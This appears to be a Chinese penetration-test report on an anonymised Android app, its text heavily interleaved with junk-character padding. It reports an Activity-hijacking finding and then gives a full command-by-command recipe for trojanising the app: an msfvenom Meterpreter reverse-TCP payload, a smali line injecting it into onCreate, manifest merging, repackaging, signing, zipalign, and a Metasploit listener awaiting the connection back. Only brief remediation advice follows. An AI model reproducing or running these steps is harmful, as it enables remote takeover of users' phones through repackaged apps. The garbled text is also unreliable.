8 p4 d* ~* |$ L+ D4 S+ \# k% Z2 P8 B, w( q5 N# d* f( R
; ~0 P S b9 p p; y& D2 ?# E9 w. a4 N2 s0 i0 S( [
& p5 a% Y1 ^* Q4 `1 G" i C! b" q3 `/ w4 @
! _4 w( U; R& d4 m ]/ i
P9 n' K! G* N
6 g- C, m. {& k8 `# L. d
# M8 Z$ D- ?8 W, _% @. G2 o
# j: t3 m* I# \! G
: X, ?+ X5 F' P( _' E1 x2 V
7 W+ V, z1 K1 y* g. E, w/ b r! z. f0 ~4 ? H% s
表1-2 测试结果
# n5 P6 G+ E) E) _) p3 n
' P7 h0 ^8 R9 Z! U$ z
4 S, R! @3 J3 k8 }
; N1 s; _; V7 B9 e! i / Z! m- B } n1 v, r: ]; d9 y) S
7 K7 E2 u2 T% j" l' g( Q 4 G- O% ~0 z% t
" s1 O k$ I" B6 O* R8 Z3 Q
! ]0 Q$ {* |3 P6 S: J
8 ?+ J- x @9 R& W8 o0 J5 E3 W
# Q7 p9 b* Y; D; x1 L# D" @: Z+ c4 r+ s2 p _
2 检测结果
6 X6 S2 a5 c7 u$ c. Z# v* D& N1 |; L6 Z" r* G7 h- U
/ V( {0 f! w( O4 I
' w! ]& k' F+ Y, K3 Z' } # x# \) ~& G, [
( O c7 w9 p# p6 }$ n" F, l 2.1 某某某 6 S* G- ] x6 s7 k- o
5 h8 O6 S* w" L- s" M9 x
2 [# n1 }& Q4 W
, E1 G( T7 f4 N/ j/ c % N, K9 `, @: ~; ]
$ L o' ~% d& r; [% T; W6 ]
2.1.1检测目标
( ?- a( F/ m5 ]9 Y! }# j9 m: t
: J5 |5 A2 x. O8 B4 V6 v* D# [
, k3 ] \$ v. R/ i' D , S: H* u" J: |
, b# s/ ?7 O# n* L1 I3 p' D
目标地址: 某某某某某某APP
* o4 R+ D* K6 E# p; z& T( c" k ~3 Z1 `- w3 a& R
/ u- L8 T% i _1 Z; h, ^. j
! }- a+ v& `: o% E! F; d: {' Z6 F
7 G$ L/ a* ~( b
# Z3 h9 d4 t5 A- u 2.1.2检测结果 F/ W* d( u9 a" q6 S+ r' M: L
& E' N+ M3 n3 {. G
/ Q# T2 {7 Q6 ^& F8 x# ?9 ?
8 a2 Y1 `9 g0 Y3 {" r* U; N
: U4 M6 v, W7 p. k
6 E# t1 p: }* x( q( l 2.1.2.1 ( x5 Z' ~9 j8 Q. x# Q8 z
4 }. U/ w& c" N
7 c6 S9 H: b Z+ R3 Q" V. e4 r0 ^
' a* ~+ N' {* v+ @/ y+ `
( g% C) p( P: |! Q1 M- s
9 @6 o u1 T7 q* H( }6 Q 漏洞链接地址:某某某某某某APP
/ Z5 c; _; P3 I& ^% E8 c1 |8 r% U
! w* Q) j# e( P! M; y- h2 Q. f
: B+ ~6 I- ?/ F* \2 ? S4 {
" n$ L3 T: ^' [, \% I# |
& e9 o6 J1 P7 C0 c8 A
; ?) i5 W5 P' J
/ |3 g3 m$ W" K( w
# ~5 b: j1 L+ M) P8 p
' b. t9 P8 s/ X1 j& Y& s / }7 T3 r7 i, h1 h4 o. {
9 @5 }* {; E' n& u1 h1 ~
漏洞分析及取证: , {( c& t4 V$ F& X1 E
# \1 R4 z9 ]- Z* U% ?& S* ^
" t" p* q J, f
7 P* I U* G$ n$ T5 U' ~- k! J6 X
" J. y! Y7 [: U+ R: S/ o3 ~/ p9 L4 h' t) P( v, s3 R7 j( @
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: ; H w/ p- e& s* g1 s0 b& |
3 b0 D. p ^, [6 Y! [& K
) X1 G, n. J$ V7 K/ ?
: F: {4 s y0 a G( ? J: L 7 P+ K- Z s" k( G5 d/ A. e( w) B0 W
3 @$ }/ x5 k! X7 R6 R
- |. b. ?& d% u; l
. J9 K4 {5 M9 A; f5 @8 n& t: [# V
- K, ^# G; N3 M# y2 J! \
* O- Q4 T' m8 G. {/ X1 P- R5 n' e+ R $ Q' f4 f3 B% d: Q4 b! w4 Y% \
' e: q* E8 w5 Z+ m& v ! p% s$ z; O# {' W. B" G! h; Q
' k5 n V6 R/ `0 S6 W2 p/ q4 t
& ?* l) h2 d2 A7 k, s1 b
3 j! ?2 v2 D+ e* ]3 b $ v1 D! F& \+ x9 z
9 l! ?! c3 p U: J1 E6 k ! L) w' Q8 k' O# G% d
! C/ J9 M, @1 R% E6 U& Z
& Y: C8 g: R9 F5 q
* u* T8 Z5 ]! f4 x2 i8 q( l 0 h# j* c7 D* D( e& Q w
' D2 I5 U f. W0 a" j, t
: y' v7 @2 E2 _, Y- D
6 H, S! O2 h# U) C
8 M: ~8 V' o& p
% D9 S* u0 Y0 i' U) W! V$ I. p
& e1 k) N; A2 m; W8 t# x7 M; V1 H8 P6 q3 T' e
6 s7 g& h+ o* k& W2 B
# }1 Q9 L9 q8 N( F3 I
* y" z& ? A* o0 j" I
- Y9 J: j& o) o) \' X! K8 S W2 T
0 f8 o6 R7 n7 Y9 V* k
" v2 N( L( s# p. h" R) Q x 漏洞危害:高
& R. a. m8 Q1 E2 h
" h8 y4 s( ^. z/ L' A; T
I2 p4 z/ x' b. U! {
$ p; U; o* n5 i" g$ F
: J7 b7 e: V" Y+ X( N
9 S1 M1 x. b; r. N( r 0 s$ @- z# B7 y5 ^
! F% j/ T# R$ d" i9 l
9 \3 I! Y( ~1 R) j* l$ O# I5 q& b# q7 @. Q' d
# k. d( }+ D& J3 ]1 b1 N, g9 T' s; P
$ ], ]/ Q; T, j. K2 G* n: ]2 c, v1 J, h, A `
$ A) ^ `: d& |5 A1 J7 K% u
6 C, Q$ w+ A! v. C 严重程度 7 L9 i( O6 Y6 t. D1 r4 C$ E" l; w. l
* L' ?3 {; d1 p1 p$ q! U 9 b3 s8 X% m( q% p7 \9 }+ A
. `) H {3 W/ }3 O D' _3 R |
8 H- M7 @4 L; |1 t, y' |7 U3 B2 D y0 y+ R! Z9 z
* |* V# o# e" J' Q7 T0 B- M- ?/ y
7 s+ q7 n. x" x$ F9 {4 M- a - j# M3 @, w4 [) B: G1 ^# ~
% N8 n1 I2 P* f: E7 H! V, k+ n" t6 n 高 : _5 w* b( a- Y0 e5 _5 v
$ n8 T0 u- O7 x# Z! y
/ P5 \7 E! t9 f0 o6 H7 C1 [
, m% Y/ p9 C5 W3 \# _8 B |
2 @' J6 Q* s0 w7 |; @7 v1 X
( q/ h& d9 E3 u1 g
5 |8 C; t+ z$ O7 ?5 S% {+ y# F2 a2 z
; F) r' X& K) K7 R" g3 W. [ n" E8 n) q
■
5 `& T1 X% E0 V5 `! x% N' p( o# Q& {, d4 d
% I0 V/ x7 n* A* f; O$ I
' U) B; \3 N J, y
| 2 t' J6 q' q0 i h6 a8 w
$ t/ O0 L- c0 \- H& b+ V& l
: U# {$ i" j( x( z% u- \( b5 B: J. \+ ?; R( A' @8 N3 E. |* k
3 P( Z3 _0 p4 X
# S2 R3 N! J5 B5 T. s 中
9 A% `, X$ K V5 m0 y B
5 R$ D8 z9 H7 h$ {7 z 4 [ ]- }8 g/ A( o- G s$ T+ r
& O4 l h6 o! |1 I0 \5 _
|
3 f, z) ~5 `' b
0 @5 N! L: B/ r$ N% j3 W& Q: R1 i ' _$ k; B: O% X4 L9 t+ H) Q
, z+ n4 L* ] y z# B: k7 n# X% ]
* C* r6 m5 N4 h2 |0 k- \+ D, ]/ s% o1 }+ T- ~$ t' ~1 T# T- U3 l4 X
7 v3 q a+ `9 O/ s0 b% e: v2 n/ |' h
" X: p/ R! Z( q
% g1 X# A6 u% y |
. n5 X- ~9 w- s- I. s/ o# [: M0 E8 S. {# o" ?! j" l# B
8 _$ l. T0 K/ o6 L N# `
N) l% }) g3 C. P
8 f4 _9 \+ Y) }& @
; W! u k+ Y+ e, V# B: H) l) M 低
6 ]0 H H! A' v' @, O- Y$ `- a6 d3 u1 a! p+ e" o" n8 c) u
, ?! G3 z0 p }; B6 U3 [3 O. b
) b! ^5 E5 B6 P) J |
/ Q, u( k1 D3 F7 M- W7 Z! K) G) O/ p M
! H' t: z) u L' l X* |
+ @, ^8 J- M! f) a
" a9 `: y' F# o7 E: o+ x/ J- n) {
' S, R7 i4 \- z" j% x' X; Y
3 X7 r6 e* ~% h* {2 N
" s; K/ Z& j: g) ]& m% G$ R
: z( P0 T' V$ T+ i, V/ ~ \0 n* N2 f I! _
|
$ r, Q" P( O) I+ b P
. P. {, Y/ ^% t5 C6 {
+ u* I E5 Y% u; e: h- G) S
5 W: X4 Z3 M7 }: E( p/ h# n( G5 A* Y , ?- a9 m+ J! m% V! e" X$ y
0 R0 i! _* ]' M8 ]- _' l9 V8 @
6 S r% {: x# ^
" q% ^3 d& `* |
P+ x* ~, ~6 T7 X
: {6 q' v4 i" F# C z6 Z 4 e* a8 o7 O" l% A. }6 R& e/ y
, A# R% \# d$ H9 E& W 7 x9 z$ `4 |7 `9 m
( L3 b" v1 j! c0 r+ R6 g
$ p+ |$ v m/ e# {8 g+ k! h' U( P
! `8 z7 }5 D1 a; L! ?' A0 l; Q! b 4 J' I+ ^4 D6 e# K" n0 y
) B) P D0 E: C
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 8 G( C/ V: f; C5 M' s
^0 W2 |8 O# N' A7 F+ d
- v6 d e" F7 \& q! d" ]) Z+ w0 y/ l A. d6 z# f7 |$ _
' `6 c/ ~9 [, Y+ S3 w0 w8 g
7 _2 q+ z( U7 C7 ]3 ^# N 0 N( z' _( B7 }$ }2 I' I
, J0 X/ z1 @7 Q5 W, M
; T, E( C+ b, e7 \
1 d8 B7 i, K, \. c/ @# r
: P2 F) q( P/ @5 g. H. b$ K0 V8 F" H3 `
# d! n: ^ u4 O* e/ }! ^9 J/ h3 S) u: x
+ i3 h4 |$ M: Z2 {+ B, y$ s) Z
: l/ ?' _! R5 N3 D' t 2 _ B$ v0 d: Q
4 H; N8 z3 E$ e; D, |5 @
2.1.2.2
1 M- w/ n1 w @* Y' z* I
$ _' ~; b/ a2 v4 p
, q' \- _9 q6 A% ?8 m+ P) G( g
7 G5 I, P! V: Y' I3 S5 f; g" F
6 a$ b2 z7 E* M! H
4 y* _6 [; L! l8 N6 @! I5 L- ^ c 漏洞链接地址:某某某某某某APP 8 s2 D1 |$ j) Z/ E
' w. ~: c7 h. c) T6 y' O" ?
0 k5 q, H0 ~% b, l7 r( b
0 g. m$ K6 B( O$ u
2 j# W9 R. z7 n% L; Y& u! m5 Y
* u5 T7 ?8 t2 Q' W2 j8 _0 e, s; F0 P 漏洞分析及取证: 1 a: Y3 O. o. m; Y8 x4 n, ?
+ ]5 u' S& R2 {. f7 l
, O' D6 [' q; u2 y, s
/ A( m/ ~$ \( b/ a# f
3 `# N6 s$ Q5 ] [' ~1 ?& `
! j; u3 N7 G7 z I2 @
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: " j! C0 n; d5 e
0 Q7 n6 s: {" u
7 Q6 \* _* i4 F0 K/ U: b! Q0 u
2 \8 \) W" J8 m5 G& r
4 G1 Z) {7 W# c9 t
" Y# W1 k! u! Q0 P9 A 用Metasploit 生成木马 apk
6 J% T6 c: M4 F0 X" Q2 ?
8 c/ K- ~0 {1 N9 A5 _% y4 P
6 P" Q. \' E+ z3 o$ z+ n
" `9 {1 j" x* X& Q9 X l
) g4 o6 o: j2 Q+ o1 g" @) j# [ \ B$ y& H5 q0 s
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
2 v3 \+ ]3 ~6 ~2 A- n, i
! F9 ~2 F$ c0 d$ W6 n8 ?
- V7 `" {) O. r3 Q
, i5 ^# t" o5 \& l+ B+ z 4 z# {9 J$ r; n
8 p" [* |- S, x3 h5 \ s; C1 ^( N3 |8 z 反编译目标apk和木马apk
0 ^7 c( J/ d5 p' @
F: o' f( A# o6 D- |! o, c0 a) B
, ? T! s4 t! O- w( x" p/ a
. J8 O% @/ U! u8 j- ]5 |
. V! o& g9 b/ P) P% @9 i9 \
% W9 ^) E; q3 P apktool d target.apk
" M6 |5 h+ ~7 x% e/ e: B) _5 c
; }8 Z8 b+ O( Q4 e& y4 U- | apktool d cockhorse.apk
1 F$ w. T: c. ^% `2 {; T+ z5 h: T$ ]& b5 ^* Q3 Y
v/ l0 p( k3 J: ?0 w2 _- {( D* x/ J. c4 l$ d3 o7 H5 U+ M( \
& k' Z. R+ R: ]6 Y6 s# L; X
: s( G0 X1 _* K" @& s' l, ] 木马 apk 注入目标 apk
5 c* E: D6 X3 J# t( f) s( O' A% Q
1 [6 t) h7 P8 {2 T* L$ l" ^4 J/ o3 D9 X6 D1 O6 ]# F1 V" a! B/ D
; b) y+ ~" L& i7 O
9 b# K. k, Q3 r4 {# B- U
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
1 B9 G6 n$ u# H8 C
8 P0 f2 ~- T! B6 B invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
1 ~5 q5 g3 V0 Q) ~8 [" N7 k1 X2 Z, L' E# T: G1 X
5 g. p5 Q) }% E# v# p- a5 H/ p, B% Z' d/ `0 _) R$ ~- h
$ \( n" E6 @, V/ J0 z& T& ^6 I8 D8 C4 L |1 s
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
; Q0 d; T% |4 I7 W0 g/ f, S5 L a) k2 \/ b/ Z
( D- U& C' w* D/ y0 L5 j) Y: m6 T
0 Z* q9 u4 I& m8 M
3 V7 J6 h; r* y5 j1 U/ w, ]: q
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
( A5 t1 e+ s' f+ {2 w5 f! R( a/ B+ w
1 b; [% G7 e. o+ g
7 Z. s( r S2 [' G 5 [3 P9 v* r: A5 _3 `
/ |6 V1 ]8 E( a( e! J" ]. j6 E4 Q! X 回编译生成最终 apk 3 u1 @$ Q0 z0 Q4 M
" Z/ K. N" h4 \2 V0 p
+ A p" E- M1 J/ N. J: F6 M
$ x) W% {( K: ]9 J ! p2 E8 M8 k& Q0 }' w: Y
1 P* u5 F; U3 S$ R& T( }
重新打包
$ r2 [, j( b+ }% G/ V2 a6 n
6 R( n# R+ _ y: r- t" Y
, x& W4 l! ^: \: Y* j( d
* x% E3 V0 }. ?9 n: H$ u
9 g( F, b/ u" I* f' `- {/ A
Q1 ]2 J: m& I( ?6 e( j7 t- k apktool b -o repackage.apk target_app_floder
3 M( o8 f4 h u$ c
( z+ E+ _, n7 N1 K' j
# _, {: {' h) L
( K/ W& H& Q( `! F7 V1 a7 S
+ }3 F; @5 H$ _
: W% a$ g0 ?+ J2 X Y3 F7 c 创建签名文件,有的话可忽略此步骤
' e% N/ ^- e3 ?6 b) R1 v4 M( T, r+ R6 n0 A+ L. ~
: B3 @( e; ?9 n! c/ [3 g4 H
d) G- H' I/ {, i! a
. K7 W& G! u/ F' u
# a+ o/ J6 X/ r. C% }9 G, f/ m keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
% h6 ]" i5 F- F: H7 U. w
5 w& l4 m6 X5 ]4 G u( L f
( m0 q& T4 l% W* j& o+ u' w2 O
9 p k6 x9 H( q4 g. l: | & Y/ A% Z- B) q2 T3 h h6 f$ x
' a; z, A" y! B3 o6 a# [7 {
签名,以下任选其一 4 P* K4 C; M- n
$ ^0 _4 E6 n' O: m# D" Y/ W
+ U$ Z' c8 |) r. o$ e9 l0 M, Z9 E
$ H/ H$ i- y) z" o0 a1 D) O& g
4 ~# D- P2 D1 F! y; {+ R. g5 t$ n% U% _/ F' O9 ]
jarsigner 方式
1 m# O# a$ H f' j( ]
; n) K1 m2 N; z
: \9 o$ d) i8 Z) h V3 {. i$ @
/ s& y, U( J. m: H- b7 z
7 r5 a% k9 D0 T/ _3 S9 q
+ q+ h, H4 P+ A R! v
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
4 g# a# Q) u {4 \' Z c
# q3 `1 d# g' n# J1 O* a
# k; E+ d8 Q2 i8 U7 J; F) i0 r- ~0 X E* A8 {
2 n1 [; U) `# O ~* Z" C. |0 X
5 b, ^! s; d. ?) @( l, ]
apksigner 方式
9 v3 d" N2 k/ f4 Y
0 Q2 p" [! S! Z4 }
7 b" w4 }+ ^; D+ t+ s8 Z; s
: i1 J7 a' F0 q( p6 r* i6 T8 W
b! W3 D }0 \ h) C
4 @ w( E# m' ], s apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
* _& d: g4 [2 F
. a z" R/ @0 ?1 N- q+ A
( k( P) o0 r! F9 i
* u% r, W0 U9 G 2 P+ P$ Q+ n4 D I8 D
" k! A7 w, p2 j/ @3 z$ s/ ?7 }
如需要禁用 v2签名 添加选项--v2-signing-enabled false
0 F h, D( j; c: ~( |+ r
6 Q& ]/ |9 x0 k% K/ Q! L) H
7 Q" e' _, t+ Z) I; g* s# k$ x
5 o7 I) q D% Z& y7 H
6 p/ U( f* b+ T- \8 E6 t7 ~- y# a( ?6 w& P/ i0 N: W$ j! a
验证,以下任选其一
+ c* _/ A+ j0 B- _: y9 T# [4 y5 z; N
+ J% t& m1 i# n# X7 [5 e7 l5 v9 T
: F0 Y8 j1 C, I8 F4 n
: @( t8 k% f: m0 ]: c jarsigner方式
; F2 a- N1 s! A: _5 T( J& X/ Y6 A* X
0 L$ y, t6 T& r( Y
: T- a. c. u% _5 m4 N2 x8 i/ U
3 @* f1 i7 \2 b, B' A" r6 v; n& N5 ~2 q/ a7 |0 @
jarsigner -verify repackaged.apk ! P) T3 T$ h: T5 c: A; ^, Y8 }
$ W) K# B% L6 O. M- P/ S* k
2 f2 M. G6 A6 l ~0 p8 M
7 O- j$ R6 n( k6 Y- T . p) s/ ]& B0 p* N7 m2 K. m k( [5 `
! I( b# r* S; G* H; ]: J$ O
apksigner 方式
! z! m+ I2 i0 `0 W
. c4 s* Q3 e! y6 C; U2 L F1 Z8 Y
7 Y: [# ^ ~3 q7 O! P: {" v4 k) k6 \! S4 o. S6 @& R
- q( ?8 H# Q% p% p$ x. y
1 k2 g# Z V* f' @* D
apksigner verify -v --print-certs repackaged.apk
, g& V) m* e3 N+ p1 Q# G$ C5 ^# F) }1 o. F; e
' f# s+ f9 O( K. `
& ]# T9 r3 _" K " b7 h9 e3 n3 W1 a- A9 A
# J- N* n' ^' Y/ i( Y$ R& r
keytool方式 8 e* u. |: @) U- J
7 C& |8 X `. A7 ?' e1 H
( \5 a9 N* P8 Q; h' d
; H- r) E( h( v* y. j+ I+ C) n & p% j* ~& n5 F7 \
/ u" b9 M1 @, D* I/ z- p, I
keytool -printcert -jarfile repackaged.apk
7 ~5 S5 d' L; H |
" m1 N- l- R. E0 F, }1 X9 V0 O* i
1 H3 U2 a- q; q5 p
. H/ Y" @+ ?6 o4 ]
0 ^0 w9 M( [+ B! A2 O1 ^! v) t: c! x( l E0 k/ h' v
对齐
* ] ]6 x8 W/ h8 W0 m; X; @' X
7 D! j- N& l+ Y1 W9 x+ d
8 Z; U) ]5 t8 [ s" O7 V' ]
6 u% a* b/ ?. H& N+ A5 o
7 F3 K* A# V5 B: Z" u, \" p* _: a9 K. x* ^+ N0 v D+ ^% {: W
字节对齐优化
" T! N. ^. o8 G# a6 ?/ ?* |/ i4 {8 ~ S4 d- \' |9 E' @
2 I2 Y2 b1 @8 W. B
4 \8 t" S4 v2 b* k3 q8 [
' T9 O4 C: P( n0 C7 Y
# D# d) A& x, Q. F; d5 `7 V! ]" J* C
zipalign -v 4 repackaged.apk final.apk ( e! r5 V5 D5 S! y* r' q# @
9 X+ S" q% U7 E x
* K, o, |' z1 C$ j; W) I m" I- }. W9 A! D+ C% F
' w# ?# ?8 {7 |. k- c$ V
7 w7 `/ p/ a/ ]0 \' o
检查是否对齐 7 d% F( q% O) W7 Q7 Q2 i- P
( R% F, \5 |" c: r: }7 g( |6 B3 {
3 g2 [* e. e: ]& e2 ]6 F+ T
- a- v% T( B1 i$ j( i# T* m
+ k+ S' ?" B" E$ k4 c# z$ `5 x; N! K8 t# U7 \
zipalign -c -v 4 final.apk Q+ s/ _' l# L$ N2 `. o
6 B# J8 q' V0 l+ X
3 _" s! U) L: z H$ ?$ r6 E
5 |7 e! w: L4 P6 ?3 T4 F4 R
0 b% v* m/ P" Z h8 \
$ V- _& Q9 u7 ]+ g7 [# d 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
R9 Y7 G* ^: d2 W& h* | n
' \# F( Y% e+ U) @! x
6 ^ A6 h% q3 G7 e
6 _; {7 s1 e+ @$ r
" }* z; O/ f% g
2 S1 O) f Y4 {; Q 启动Metasploit控制台,配置参数等待上线 ( S6 i' H" L' r4 d5 b9 X- R% a
: b" l* a$ W. n( y6 f! W
6 e, r$ S: D) Z( k. D
& ~2 w' e8 @, c6 C, b3 {) j
3 X+ z8 X0 S8 }8 c8 H4 d5 ?
6 q. f0 v0 g) n' p' f% S
在终端依次输入如下命令
, \( Q4 {8 |5 d. K% Z
& t5 A. I2 b* q6 L5 }
* {3 R+ w+ i z# Y4 ^
% R! D4 W# I8 U 9 M' u7 U' Y$ t' E
# F1 f6 ~1 ~$ U# G
msfconsole
: I/ p' P9 I( P6 Y5 \; y% @* Y
% j1 u3 s$ J9 y9 q* F( {
1 r5 e! j& O2 S H" h
% ~# i) i. V8 H9 }3 Q) ] U" |1 k& A, r! P
use exploit/multi/handler 4 i4 k6 t, ^ B2 x" R
4 H" m( T3 ^# S+ \' K, X; O
- B2 a% Y, s% l# h2 X1 T2 f: V$ G' s9 f- o8 r; ~+ [9 }
) [. `4 }, @* N1 w/ V' Q
7 \" f- J6 ?) L. H: s set PAYLOAD android/meterpreter/reverse_tcp 7 u( r0 a7 H5 q: s- T) H
* N. }/ [6 I# Y& Q3 ^/ c! t% J G
9 `1 i9 c5 U, f, J0 z @2 M# A9 B0 a2 O( P; Z+ K; f6 E
( q0 w" G. ?. ? W5 l' t( w5 O5 s1 u; {
set LHOST 192.xxx.xx.xx 1 G* t8 n$ z: l6 Q, q
8 P0 ~% z3 X8 g' ]6 A$ b
; v8 H; A8 B' x) d5 _
7 y1 q6 J8 L) x- K; R" L. s ( ]" ~& S- r9 J8 l2 C
8 w+ Y* g$ z9 l2 i }5 n% T
set LPORT 4444
' \& [3 |- I8 J6 n% l& h9 B( i5 S) `$ u# c0 e! W/ h* F+ }
* u0 s' P# j# G- j& K" l5 P6 y, g
: ^) h) M6 w8 J. B/ a2 a }
- u( M6 }. `. ]0 x4 l
9 ?3 U; x- b0 R6 \' D8 G) R exploit
. H, \) j7 s/ S4 Q% B* R$ L/ A r/ A0 A% h) K {; V5 W4 b
! `3 A, i }" i' m! a5 [
) h$ Z" f7 N1 E/ u2 ]! M
4 z& k7 s9 _8 q- M- `" n
9 W4 _; H- Z; \0 S) Y/ m 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图: 9 \+ [$ `6 d- i3 I% \/ H
8 c0 O* ]/ N5 {
T3 {, k) e2 [- @1 F) j3 I2 t9 [% b
0 C7 M+ s" i5 L) J: R! A* |+ f 8 u. Y# |1 i8 K- k
4 S& M( w7 G ]: \3 R6 A6 D. i 漏洞危害:中 ! s0 `: C0 {8 C4 ^
5 `3 t# w* `8 A! w( N
, M. Q9 J& T q
; o- _+ m" V7 @ d1 | 9 g& Z9 F1 m1 k9 F9 r; R4 \7 O
$ I0 Z* n( O/ o2 M0 K
1 [2 ` T* x S- Q6 e$ s: P
9 Q1 W! _$ K6 Z
2 q# ]6 z3 p4 z6 r3 L& `, g9 `* ~2 h1 U
& d3 P" b" h6 ` S" b! P/ K3 B% z
1 o5 f n* W# V* D$ M# Z. [
5 D$ z9 [% V' ` l 9 L1 \8 G0 J" o% K) m
' j- b2 q. T7 A
* \6 |3 R9 f8 ~/ ~3 Y- m
2 j G) v' t( E
% L: |2 U w$ G9 F' |# K
' X! E. Q* N x6 N6 ]% y2 J 严重程度
$ M" m7 g, \" R! p' m: V; b4 k. M
. _1 @, F9 Y+ f# ^
0 E6 p. h* v+ S! j- d$ x |
, J& Q3 t: z) @* H J/ o" |
% N5 D+ i$ j7 w' s; K3 ]8 H% S
3 L; g4 r) F5 M. l- S+ P3 d! C+ {9 t+ T! ?. q1 d% |, s
- D b7 l4 G7 A$ @# K/ U! c& x! h1 h% {7 |2 O& l
高
3 K5 T: b9 t4 v, T
; G" `4 Y9 g$ R
/ l3 k: H1 u2 r+ M% o' e- `; _, ?, ^
, d5 t$ F. K* i2 A# h |
& b9 x& j4 f& X' {- R4 R5 S2 _9 s3 I6 m4 @. x) a& t; _0 Q& j
8 n+ q9 A6 f. j
% f, R: M* W' h: L& V+ O 9 p# z: E8 n& x A4 |& B4 b
( W$ V4 ~+ h" X$ F2 J+ R
■ ) ?0 ^% n% |$ z, m e% x
- @* J1 a I/ ^3 R9 W+ m9 b0 J6 T
. m, D3 [% _* E" P
" ?% e- `/ K+ ?/ A E
| 4 T+ E! A! K5 j' Y: ~4 _' V
$ K% s! ?$ m: e5 p5 Q5 A
' T! |1 f2 s* g: j
' N4 u) E* h/ f1 `/ Q+ r }: c' i
/ `! P+ V& ]' z J! o! l6 X9 t5 i
# ^) t% t, j) ]7 q! Y" _ 中 5 g$ c$ |+ i V5 H: |
% s' u9 S0 h- ]5 b) j" R( {, B
* N: u4 {" o# p& _* q% `2 _
) B* w3 k' g3 O | 0 B0 V. H- v1 t% w7 k3 h
* p% q( z" t) Y- n/ O b+ ^ & O! B1 W8 B* K3 m8 R2 J4 Z
' }* s- V2 w! t3 f5 {# R i3 X# x8 T/ h L2 C
6 @. q1 l: } U/ o$ E. c1 z3 Q 5 Z' h* i4 @4 I. h8 l/ F# R3 Q- i
. k5 O6 {; x$ |- w2 V- y
! n+ A3 F; D! `7 m: J- h! V1 v& t, ?' n, _9 G3 \1 Z& t
" D8 ^5 i* C' s0 G$ M s) }& ]
# l# e, N% Q Z, L( q |
6 V5 |0 V4 O Z3 c4 U7 C" a- k3 h5 f$ t0 Z l! A1 w; e/ h
. l, {! N4 V7 e! z! _+ p4 N
) @5 h; M3 |1 O' {% e& y
: b1 W, B- n& W+ t+ z7 F7 ]) o* ?" p* c& P3 Q
低
$ h8 ^7 d n0 x T3 F
" \: D+ \6 k# Z# T2 i5 i* u% }
6 b8 i# D. X0 i: { y5 o& a& }
4 a( u6 P2 c7 @0 k& X- h1 a | " v" x" m+ N6 H2 ^" a* f& B( u
5 O; |* X5 s$ @2 I) ~
- p' e) y+ y: i: Z7 A% S( h
- c& z) y6 Q+ T, V' a, E ( p, z& M& e0 |6 g) w2 O! ?; C' a
) k- g, f; L$ M; A 2 D3 d) e+ a; e- G/ b) h* A
0 w! h$ P! n+ f1 H3 F& z
6 }# h/ V( k" H6 m
( r7 d8 ^8 k9 W5 h5 U / ?! H! s. w9 a3 u( F* j; h: M0 Z
, T' W2 D. E5 `$ I; P" c
| ; R) Q1 N1 m" m$ F6 T/ @
* I2 {3 Z! h" X1 Y& g
! C6 K% m. z, [
% Y4 ?! Q$ u4 \6 M4 X9 t0 L 2 E( j4 N8 m; g; C, W5 i4 a
7 x; F7 d2 ?8 d6 _6 H' q+ R# K* g
5 ?3 ?3 T6 [1 V6 m* O7 ^: L4 j6 i6 Y
/ T U8 |0 {; m7 B
( {" G3 }* {8 K$ |& ?
% s x% Z( N8 q+ x& {
5 F% ?" e) F; G8 C0 K. s! |) Z4 ?& o9 l1 c8 |) [& Q
( x/ B- @ @. e+ t
7 r0 A( y2 H0 o Q5 U
, n0 d/ u4 I/ G4 R+ _6 V/ x; B3 P8 S) F: {" R
( \ e/ S' C0 \
A1 \. p+ z7 r 修复方法:
O, s, U/ h) e. r) q: q; O% n
1 i& u2 K8 O* f! o" U9 K, `
1 o' F# g2 |$ Y, G6 Y4 y4 Z1 z; T+ @0 d
; M% N2 r2 }& \1 D) H0 |. T% V4 v
( [* K6 o. v- e
1.在 APP 启动时应做签名校验防止二次打包。
& A) }/ H$ @" h
0 v) k! P G1 h 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 . O1 h0 e; ^) P' n6 Z
$ L2 D; A: |: w* `' _. v' A# @
8 z. R; Y* u/ J9 b. A5 b1 d9 ]
7 a9 V" Z: P# E+ Z
) s5 s+ v$ a- A; m4 M3 Y
@& ^$ p% D: |/ A5 t1 r1 C
: ^$ [ V, N; {, |% ^1 C9 r% i
2 L S( h! ]/ k8 l5 S( s$ K " m r8 L- @# a% [- T/ l1 `
- J/ }( @. C+ X: b1 M6 }& o# M
; [; u' ~" ?8 n, f
" s0 t! ~/ d- k& G( i
+ o1 j; S+ E6 _% Y9 c+ ^8 B3 |" \/ c$ c, w/ P
" u: G" n1 r& I8 ]+ D* m7 Y
/ I; D7 r: M8 j% l3 y( r, _% l9 _
+ f5 S/ f& G) ~$ ?- i# c$ a6 J
9 k! F1 N2 I/ ~
) l4 N% f0 ]6 A9 M2 C
! a5 ^+ c8 Q5 v